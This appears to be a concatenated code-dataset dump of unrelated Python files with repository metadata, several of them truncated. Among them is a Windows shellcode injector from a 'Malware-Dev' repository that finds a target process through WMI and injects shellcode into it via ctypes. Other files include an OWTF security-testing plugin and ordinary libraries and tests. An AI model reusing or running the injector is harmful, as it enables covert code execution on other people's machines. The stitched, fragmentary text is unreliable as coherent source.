"Apache-2.0"
] | null | null | null | openhtf/__init__.py | frankalicious/openhtf | f74740065eac9b1af96638f100b816ec773f084b | [
"Apache-2.0"
] | null | null | null | openhtf/__init__.py | frankalicious/openhtf | f74740065eac9b1af96638f100b816ec773f084b | [
"Apache-2.0"
] | null | null | null | # Copyright 2014 Google Inc. All Rights Reserved.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agre... | 39.763158 | 79 | 0.833554 | 426 | 3,022 | 5.814554 | 0.382629 | 0.173193 | 0.187727 | 0.088817 | 0.34235 | 0.302382 | 0 | 0 | 0 | 0 | 0 | 0.002996 | 0.116479 | 3,022 | 75 | 80 | 40.293333 | 0.924719 | 0.259762 | 0 | 0 | 0 | 0 | 0.032112 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.020833 | false | 0 | 0.854167 | 0 | 0.916667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
b14a432b2537b20de9295f70c39aa3da7964e87e | 486 | py | Python | owtf/plugins/web/passive/Old_Backup_and_Unreferenced_Files@OWTF-CM-006.py | alienus/owtf | b6d81fac83c324c2b8c6fe2a974c036881c1fcd0 | [
"BSD-3-Clause"
] | null | null | null | owtf/plugins/web/passive/Old_Backup_and_Unreferenced_Files@OWTF-CM-006.py | alienus/owtf | b6d81fac83c324c2b8c6fe2a974c036881c1fcd0 | [
"BSD-3-Clause"
] | null | null | null | owtf/plugins/web/passive/Old_Backup_and_Unreferenced_Files@OWTF-CM-006.py | alienus/owtf | b6d81fac83c324c2b8c6fe2a974c036881c1fcd0 | [
"BSD-3-Clause"
] | null | null | null | """
PASSIVE Plugin for Old, Backup and Unreferenced Files (OWASP-CM-006)
https://www.owasp.org/index.php/Testing_for_Old,_Backup_and_Unreferenced_Files_(OWASP-CM-006)
"""
from owtf.managers.resource import get_resources
from owtf.plugin.plugin_helper import plugin_helper
DESCRIPTION = "Google Hacking for juicy files"... | 32.4 | 93 | 0.808642 | 63 | 486 | 6.031746 | 0.571429 | 0.094737 | 0.063158 | 0.078947 | 0.221053 | 0.221053 | 0.221053 | 0.221053 | 0.221053 | 0 | 0 | 0.013699 | 0.098765 | 486 | 14 | 94 | 34.714286 | 0.853881 | 0.333333 | 0 | 0 | 0 | 0 | 0.259494 | 0.113924 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.166667 | 0.333333 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 3 |
b1711378c4281aa09956ca8e68923d4ed10fdb7e | 1,010 | py | Python | stubs.min/Autodesk/Revit/DB/__init___parts/SunAndShadowType.py | ricardyn/ironpython-stubs | 4d2b405eda3ceed186e8adca55dd97c332c6f49d | [
"MIT"
] | 1 | 2021-02-02T13:39:16.000Z | 2021-02-02T13:39:16.000Z | stubs.min/Autodesk/Revit/DB/__init___parts/SunAndShadowType.py | hdm-dt-fb/ironpython-stubs | 4d2b405eda3ceed186e8adca55dd97c332c6f49d | [
"MIT"
] | null | null | null | stubs.min/Autodesk/Revit/DB/__init___parts/SunAndShadowType.py | hdm-dt-fb/ironpython-stubs | 4d2b405eda3ceed186e8adca55dd97c332c6f49d | [
"MIT"
] | null | null | null | class SunAndShadowType(Enum,IComparable,IFormattable,IConvertible):
"""
Enum of sun study type.
enum SunAndShadowType,values: Lighting (3),MultiDayStudy (2),OneDayStudy (1),StillImage (0)
"""
def __eq__(self,*args):
""" x.__eq__(y) <==> x==yx.__eq__(y) <==> x==yx.__eq__(y) <==> x==y """
pass
def ... | 28.055556 | 215 | 0.670297 | 130 | 1,010 | 4.476923 | 0.353846 | 0.137457 | 0.14433 | 0.154639 | 0.221649 | 0.221649 | 0.221649 | 0.194158 | 0.194158 | 0.194158 | 0 | 0.004779 | 0.171287 | 1,010 | 35 | 216 | 28.857143 | 0.690562 | 0.441584 | 0 | 0.384615 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.384615 | false | 0.384615 | 0 | 0 | 0.615385 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
b1755c731d98da5330e677a8c8aa4ef8691bbf26 | 396 | py | Python | viewlet/api.py | 5monkeys/django-viewlet | aaed573a115dc3de3e05673093d77b9d218730e7 | [
"MIT"
] | 10 | 2015-02-16T12:09:18.000Z | 2019-10-14T15:30:37.000Z | viewlet/api.py | 5monkeys/django-viewlet | aaed573a115dc3de3e05673093d77b9d218730e7 | [
"MIT"
] | 12 | 2015-10-12T12:51:03.000Z | 2018-06-07T18:05:42.000Z | viewlet/api.py | 5monkeys/django-viewlet | aaed573a115dc3de3e05673093d77b9d218730e7 | [
"MIT"
] | 12 | 2015-10-06T19:11:11.000Z | 2021-12-25T06:36:45.000Z | from viewlet.library import library
__all__ = ["viewlet", "get", "call", "refresh"]
# The decorator
viewlet = library._decorator
def get(viewlet_name):
return library.get(viewlet_name)
def call(viewlet_name, context, *args, **kwargs):
return get(viewlet_name).call(context or {}, *args, **kwargs)
def re... | 19.8 | 65 | 0.694444 | 51 | 396 | 5.215686 | 0.333333 | 0.165414 | 0.157895 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.14899 | 396 | 19 | 66 | 20.842105 | 0.789318 | 0.032828 | 0 | 0 | 0 | 0 | 0.055118 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.111111 | 0.333333 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
b175960ff21d2c4367ac6a325b639dcfc192efdc | 96 | py | Python | mamba/_version.py | mariusvniekerk/mamba | 77c0e3cf6284aa18be0d2bfbe5ef7c2de7b642d8 | [
"BSD-3-Clause"
] | null | null | null | mamba/_version.py | mariusvniekerk/mamba | 77c0e3cf6284aa18be0d2bfbe5ef7c2de7b642d8 | [
"BSD-3-Clause"
] | null | null | null | mamba/_version.py | mariusvniekerk/mamba | 77c0e3cf6284aa18be0d2bfbe5ef7c2de7b642d8 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
version_info = (0, 4, 1)
__version__ = '.'.join(map(str, version_info))
| 24 | 46 | 0.604167 | 14 | 96 | 3.714286 | 0.785714 | 0.423077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04878 | 0.145833 | 96 | 3 | 47 | 32 | 0.585366 | 0.21875 | 0 | 0 | 0 | 0 | 0.013699 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b1790fdc4d3e791c76fe8b912654b36eb3569c6c | 5,137 | py | Python | tests/fixtures/request_factories.py | ZXVentures/konduto-sdk | 1a8151115232c9de4abe1acc6754c593542f2569 | [
"MIT"
] | 4 | 2020-04-29T07:53:59.000Z | 2021-05-26T20:13:51.000Z | tests/fixtures/request_factories.py | ZXVentures/konduto-sdk | 1a8151115232c9de4abe1acc6754c593542f2569 | [
"MIT"
] | 7 | 2020-04-05T08:05:55.000Z | 2021-04-07T19:24:15.000Z | tests/fixtures/request_factories.py | ZXVentures/konduto-sdk | 1a8151115232c9de4abe1acc6754c593542f2569 | [
"MIT"
] | 1 | 2021-06-15T17:37:20.000Z | 2021-06-15T17:37:20.000Z | import random
import uuid
import factory
from factory import lazy_attribute, SubFactory
from faker import Faker
from konduto.api.resources.konduto_address import KondutoAddress
from konduto.api.resources.konduto_customer import KondutoCustomer
from konduto.api.resources.konduto_payment import KondutoPayment, KondutoP... | 46.7 | 115 | 0.757251 | 695 | 5,137 | 5.401439 | 0.228777 | 0.159297 | 0.227757 | 0.239744 | 0.63399 | 0.496004 | 0.412893 | 0.323388 | 0.313532 | 0.313532 | 0 | 0.017109 | 0.135293 | 5,137 | 109 | 116 | 47.12844 | 0.828005 | 0 | 0 | 0.176471 | 0 | 0 | 0.00584 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.141176 | 0 | 0.905882 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
b19210c8afa9c7942ca787aa2b46040f6712f01b | 8,894 | py | Python | video_preprocessing.py | Samran-Elahi/Videolytics | d61b9f26457eb8cbc1a46af45eb7f240b38c2996 | [
"MIT"
] | null | null | null | video_preprocessing.py | Samran-Elahi/Videolytics | d61b9f26457eb8cbc1a46af45eb7f240b38c2996 | [
"MIT"
] | null | null | null | video_preprocessing.py | Samran-Elahi/Videolytics | d61b9f26457eb8cbc1a46af45eb7f240b38c2996 | [
"MIT"
] | null | null | null | import feature_extractor as ext
import os
import numpy as np
import subprocess
import multiprocessing
from datetime import datetime
import cv2
import ffmpy3
from ffmpy3 import FFmpeg
import math
import h5py
from tqdm import tqdm
class video_processing():
def __init__(self):
super().__init__()
def... | 41.755869 | 163 | 0.611086 | 1,168 | 8,894 | 4.555651 | 0.184932 | 0.025371 | 0.026311 | 0.02368 | 0.71697 | 0.715091 | 0.715091 | 0.69611 | 0.684082 | 0.642548 | 0 | 0.029087 | 0.296492 | 8,894 | 212 | 164 | 41.95283 | 0.82132 | 0.324713 | 0 | 0.561538 | 0 | 0 | 0.10202 | 0.045917 | 0 | 0 | 0 | 0 | 0 | 1 | 0.092308 | false | 0 | 0.092308 | 0 | 0.253846 | 0.092308 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b19da4127355d8b16fdf0de2ba00ce468fddae26 | 4,552 | py | Python | src/Injectors/shellcode/windows/simple_code_injector02.py | shownadda/Malware-Dev | a3fb40371bb4c4f41c582747af41ae8800050f5c | [
"Unlicense"
] | 46 | 2022-01-30T14:29:02.000Z | 2022-03-25T03:49:13.000Z | src/Injectors/shellcode/windows/simple_code_injector02.py | shownadda/Malware-Dev | a3fb40371bb4c4f41c582747af41ae8800050f5c | [
"Unlicense"
] | null | null | null | src/Injectors/shellcode/windows/simple_code_injector02.py | shownadda/Malware-Dev | a3fb40371bb4c4f41c582747af41ae8800050f5c | [
"Unlicense"
] | 1 | 2022-03-05T03:42:55.000Z | 2022-03-05T03:42:55.000Z | import sys
from ctypes import *
from win32com.client import GetObject
if len(sys.argv) < 2:
print("Python code injector: ./" + sys.argv[0] + " <process to inject>")
sys.exit(0)
proc = sys.argv[1]
# Simple wmi query in order to obtain the process id of the executable passed from command line.
WMI = GetObject(... | 62.356164 | 370 | 0.742311 | 824 | 4,552 | 4.081311 | 0.338592 | 0.020815 | 0.009515 | 0.010705 | 0.067797 | 0.028546 | 0.028546 | 0.028546 | 0.028546 | 0.028546 | 0 | 0.160829 | 0.109402 | 4,552 | 73 | 371 | 62.356164 | 0.668722 | 0.391916 | 0 | 0.076923 | 0 | 0.519231 | 0.643816 | 0.56148 | 0 | 0 | 0.00798 | 0 | 0 | 1 | 0 | false | 0 | 0.057692 | 0 | 0.057692 | 0.096154 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b1a604b5f670e73f1b2520026292bb931b71873c | 300 | py | Python | register/src/app/eventregister/s/controllers/get_apps_controller.py | cuappdev/archives | 061d0f9cccf278363ffaeb27fc655743b1052ae5 | [
"MIT"
] | null | null | null | register/src/app/eventregister/s/controllers/get_apps_controller.py | cuappdev/archives | 061d0f9cccf278363ffaeb27fc655743b1052ae5 | [
"MIT"
] | null | null | null | register/src/app/eventregister/s/controllers/get_apps_controller.py | cuappdev/archives | 061d0f9cccf278363ffaeb27fc655743b1052ae5 | [
"MIT"
] | null | null | null | from . import *
class GetAppsController(AppDevController):
def get_path(self):
return '/apps/'
def get_methods(self):
return ['GET']
@authorize_user
def content(self, **kwargs):
user = kwargs.get('user')
return [app.serialize() for app in users_dao.get_user_apps(user.id)]
| 21.428571 | 72 | 0.683333 | 40 | 300 | 4.975 | 0.575 | 0.060302 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.18 | 300 | 13 | 73 | 23.076923 | 0.808943 | 0 | 0 | 0 | 0 | 0 | 0.043333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.3 | false | 0 | 0.1 | 0.2 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
492a2abf71eae89bd888dc550c6cc88f8c726392 | 1,523 | py | Python | mtgsdk/set.py | Antariz/mtg-sdk-python | 76c9df1075eff6736447cf42517e2f2f124f88bd | [
"MIT"
] | 222 | 2016-02-17T17:18:15.000Z | 2022-03-25T08:57:07.000Z | mtgsdk/set.py | Antariz/mtg-sdk-python | 76c9df1075eff6736447cf42517e2f2f124f88bd | [
"MIT"
] | 32 | 2016-03-16T12:59:28.000Z | 2022-02-19T17:22:28.000Z | mtgsdk/set.py | Antariz/mtg-sdk-python | 76c9df1075eff6736447cf42517e2f2f124f88bd | [
"MIT"
] | 53 | 2016-03-16T12:32:51.000Z | 2022-02-11T21:09:29.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# This file is part of mtgsdk.
# https://github.com/MagicTheGathering/mtg-sdk-python
# Licensed under the MIT license:
# http://www.opensource.org/licenses/MIT-license
# Copyright (c) 2016, Andrew Backes <backes.andrew@gmail.com>
from mtgsdk.querybuilder import QueryBuil... | 30.46 | 88 | 0.694682 | 199 | 1,523 | 5.015075 | 0.552764 | 0.06012 | 0.069138 | 0.056112 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004045 | 0.188444 | 1,523 | 49 | 89 | 31.081633 | 0.803398 | 0.224557 | 0 | 0.166667 | 0 | 0 | 0.021605 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.208333 | false | 0 | 0.166667 | 0.125 | 0.708333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
49443be23dca2b5c94b08107c1d1e59e511e0b8f | 319 | py | Python | tests/extract_claims/test_utils.py | itsmemala/drug-lit-contradictory-claims | 5eff1fd307675e9d6f3f9bf557cb141310c7321d | [
"MIT"
] | null | null | null | tests/extract_claims/test_utils.py | itsmemala/drug-lit-contradictory-claims | 5eff1fd307675e9d6f3f9bf557cb141310c7321d | [
"MIT"
] | 18 | 2020-07-18T14:28:07.000Z | 2021-02-01T08:36:35.000Z | tests/extract_claims/test_utils.py | itsmemala/drug-lit-contradictory-claims | 5eff1fd307675e9d6f3f9bf557cb141310c7321d | [
"MIT"
] | 6 | 2020-07-14T05:06:02.000Z | 2020-09-05T16:46:33.000Z | """Test case for utils used in extract_claims."""
import unittest
from contradictory_claims.extract_claims.utils import read_json # noqa: F401
class TestUtils(unittest.TestCase):
"""Test for utils used in extract_claims."""
def test_read_json(self):
"""Test of read_json function."""
pass
| 22.785714 | 77 | 0.708464 | 43 | 319 | 5.069767 | 0.55814 | 0.178899 | 0.110092 | 0.12844 | 0.247706 | 0.247706 | 0 | 0 | 0 | 0 | 0 | 0.011628 | 0.191223 | 319 | 13 | 78 | 24.538462 | 0.833333 | 0.382445 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0.2 | 0.4 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 3 |
494959e6cefcf0b9f24dc80fc76a97ee40de6b4a | 147 | py | Python | pythonProject/MUNDO 2/Desafio 46.py | lucasjlgc/Aulas-de-Python- | 6aaed1c660487a680e9c449210600ccdfa326612 | [
"MIT"
] | null | null | null | pythonProject/MUNDO 2/Desafio 46.py | lucasjlgc/Aulas-de-Python- | 6aaed1c660487a680e9c449210600ccdfa326612 | [
"MIT"
] | 1 | 2021-06-25T15:29:11.000Z | 2021-06-25T15:29:11.000Z | pythonProject/MUNDO 2/Desafio 46.py | lucasjlgc/Aulas-de-Python- | 6aaed1c660487a680e9c449210600ccdfa326612 | [
"MIT"
] | null | null | null | #Contagem regresiva de 10 a 0. De um em um segundo
for c in range (10,0,-1):
print(c)
print('Feliz ano nooooovoo!! BUUUUM (Fogos estourando)') | 29.4 | 56 | 0.693878 | 27 | 147 | 3.777778 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.058333 | 0.183673 | 147 | 5 | 56 | 29.4 | 0.791667 | 0.333333 | 0 | 0 | 0 | 0 | 0.479592 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.666667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
495b32eb339c93bdc4a8bcf7ba3af259bd96f1ae | 3,869 | py | Python | tests/handlers/external/mappings_test.py | lsst-sqre/uservice-ghslacker | 0b136a4d1bb761dfc01c0ca4e32925ea7396744c | [
"MIT"
] | 1 | 2021-04-07T01:11:04.000Z | 2021-04-07T01:11:04.000Z | tests/handlers/external/mappings_test.py | lsst-sqre/uservice-ghslacker | 0b136a4d1bb761dfc01c0ca4e32925ea7396744c | [
"MIT"
] | 24 | 2020-03-04T19:16:24.000Z | 2022-03-21T19:37:59.000Z | tests/handlers/external/mappings_test.py | lsst-sqre/uservice-ghslacker | 0b136a4d1bb761dfc01c0ca4e32925ea7396744c | [
"MIT"
] | null | null | null | """Tests for the checkerboard.handlers.external.mappings module and routes."""
from __future__ import annotations
from typing import TYPE_CHECKING
from aiohttp import BasicAuth
from checkerboard.app import create_app
from checkerboard.config import Configuration
from tests.util import MockSlackClient
if TYPE_CHECK... | 34.855856 | 78 | 0.704316 | 470 | 3,869 | 5.712766 | 0.180851 | 0.062942 | 0.091993 | 0.106518 | 0.740037 | 0.724395 | 0.679702 | 0.645065 | 0.645065 | 0.645065 | 0 | 0.017003 | 0.179116 | 3,869 | 110 | 79 | 35.172727 | 0.828401 | 0.077798 | 0 | 0.6 | 0 | 0 | 0.164091 | 0.075583 | 0 | 0 | 0 | 0 | 0.213333 | 1 | 0 | false | 0.08 | 0.093333 | 0 | 0.093333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
496c45deafaf8ecd3c653567a9b9d800a4e1c004 | 159 | py | Python | setup.py | BartBruininks/mdvwhole | 05ce965f66da7b5d71ecb943677982ca2d998e6b | [
"Apache-2.0"
] | 2 | 2022-02-07T16:33:17.000Z | 2022-03-03T09:22:30.000Z | setup.py | BartBruininks/mdvwhole | 05ce965f66da7b5d71ecb943677982ca2d998e6b | [
"Apache-2.0"
] | 2 | 2022-01-28T15:24:28.000Z | 2022-01-28T15:42:52.000Z | setup.py | BartBruininks/mdvwhole | 05ce965f66da7b5d71ecb943677982ca2d998e6b | [
"Apache-2.0"
] | null | null | null | import setuptools
setuptools.setup(
packages=['mdvwhole'],
entry_points = {
'console_scripts': ['mdvwhole=mdvwhole.whole:main'],
},
)
| 17.666667 | 60 | 0.622642 | 14 | 159 | 6.928571 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.226415 | 159 | 8 | 61 | 19.875 | 0.788618 | 0 | 0 | 0 | 0 | 0 | 0.320755 | 0.176101 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.142857 | 0 | 0.142857 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
4970d749526587e56c096ad8f1bca7caf5850064 | 305 | py | Python | 01. Variable/026.py | MaksonViini/Aprendendo-Python | 8d8422f793e4ea9f81fa4ed0e4101bcfc2ba3c99 | [
"MIT"
] | 1 | 2020-09-20T23:18:47.000Z | 2020-09-20T23:18:47.000Z | 01. Variable/026.py | MaksonViini/Aprendendo-Python | 8d8422f793e4ea9f81fa4ed0e4101bcfc2ba3c99 | [
"MIT"
] | null | null | null | 01. Variable/026.py | MaksonViini/Aprendendo-Python | 8d8422f793e4ea9f81fa4ed0e4101bcfc2ba3c99 | [
"MIT"
] | 1 | 2020-09-20T23:18:49.000Z | 2020-09-20T23:18:49.000Z | #Primeira e última ocorrência de uma string
frase = str(input("Digite uma frase: ")).upper().strip()
print(f"A letra A aparece {frase.count('A')} vezes na frase ")
print(f"A primeira letra A apareceu na posicao {frase.find('A') + 1}")
print(f"A ultima letra A apareceu na posicao {frase.rfind('A') + 1} ") | 61 | 70 | 0.698361 | 53 | 305 | 4.018868 | 0.509434 | 0.084507 | 0.098592 | 0.150235 | 0.262911 | 0.262911 | 0 | 0 | 0 | 0 | 0 | 0.007605 | 0.137705 | 305 | 5 | 71 | 61 | 0.802281 | 0.137705 | 0 | 0 | 0 | 0 | 0.722433 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.75 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
497491bc925626d470e6096a0a41a79a42d88022 | 494 | py | Python | server/settings/models.py | Xelia/mahjong-portal | 1baa2eab57875a64a7f09537d1f43872b577f205 | [
"MIT"
] | null | null | null | server/settings/models.py | Xelia/mahjong-portal | 1baa2eab57875a64a7f09537d1f43872b577f205 | [
"MIT"
] | null | null | null | server/settings/models.py | Xelia/mahjong-portal | 1baa2eab57875a64a7f09537d1f43872b577f205 | [
"MIT"
] | null | null | null | from django.db import models
from mahjong_portal.models import BaseModel
class Country(BaseModel):
code = models.CharField(max_length=3)
name = models.CharField(max_length=255)
class Meta:
ordering = ['name']
def __unicode__(self):
return self.name
class City(BaseModel):
name ... | 19 | 43 | 0.67004 | 60 | 494 | 5.316667 | 0.466667 | 0.141066 | 0.169279 | 0.225705 | 0.501567 | 0.501567 | 0.30721 | 0.30721 | 0.30721 | 0.30721 | 0 | 0.01847 | 0.232794 | 494 | 25 | 44 | 19.76 | 0.823219 | 0 | 0 | 0.625 | 0 | 0 | 0.016194 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.125 | 0.125 | 0.875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
497a8585497507a3abe04d1952e383d1f479f9e3 | 119 | py | Python | main.py | bidetaggle/skaak | b51ab7303409fe2b6a288568dc3e904ac610a6a3 | [
"MIT"
] | null | null | null | main.py | bidetaggle/skaak | b51ab7303409fe2b6a288568dc3e904ac610a6a3 | [
"MIT"
] | null | null | null | main.py | bidetaggle/skaak | b51ab7303409fe2b6a288568dc3e904ac610a6a3 | [
"MIT"
] | null | null | null | from evaluator import Evaluator
from board import Chessboard
board = Chessboard()
evaluator = Evaluator(board)
| 17 | 32 | 0.764706 | 13 | 119 | 7 | 0.384615 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.184874 | 119 | 6 | 33 | 19.833333 | 0.938144 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
498e9c41e882731d3902a4311bd384887c8a7c6c | 1,219 | py | Python | src/bel_resources/exc.py | pybel/bel-resources | c02be74fa305d085f825ea7996ff9cf208588219 | [
"MIT"
] | null | null | null | src/bel_resources/exc.py | pybel/bel-resources | c02be74fa305d085f825ea7996ff9cf208588219 | [
"MIT"
] | null | null | null | src/bel_resources/exc.py | pybel/bel-resources | c02be74fa305d085f825ea7996ff9cf208588219 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""Exceptions for downloading, reading, and writing BEL script, namespace files, and annotation files."""
class ResourceError(ValueError):
"""A base class for resource errors."""
def __init__(self, location: str): # noqa: D107
"""Initialize the ResourceError.
:param... | 29.731707 | 105 | 0.66694 | 147 | 1,219 | 5.394558 | 0.44898 | 0.06053 | 0.087011 | 0.052963 | 0.254729 | 0.176545 | 0.14628 | 0 | 0 | 0 | 0 | 0.017838 | 0.218212 | 1,219 | 40 | 106 | 30.475 | 0.814271 | 0.420016 | 0 | 0.2 | 0 | 0 | 0.14792 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.2 | 0.866667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
49a1f036ed781d87a6bf708c670a6c097f25fa79 | 515 | py | Python | modules/denoise/config.py | codetorex/godot | 3f6a7c74e3ebb3d8e0e204c8a68d110c5dc3991d | [
"CC-BY-3.0",
"Apache-2.0",
"MIT"
] | 10 | 2020-06-03T06:41:15.000Z | 2021-09-13T17:43:47.000Z | modules/denoise/config.py | codetorex/godot | 3f6a7c74e3ebb3d8e0e204c8a68d110c5dc3991d | [
"CC-BY-3.0",
"Apache-2.0",
"MIT"
] | 6 | 2020-10-05T20:00:21.000Z | 2021-07-10T19:07:27.000Z | modules/denoise/config.py | codetorex/godot | 3f6a7c74e3ebb3d8e0e204c8a68d110c5dc3991d | [
"CC-BY-3.0",
"Apache-2.0",
"MIT"
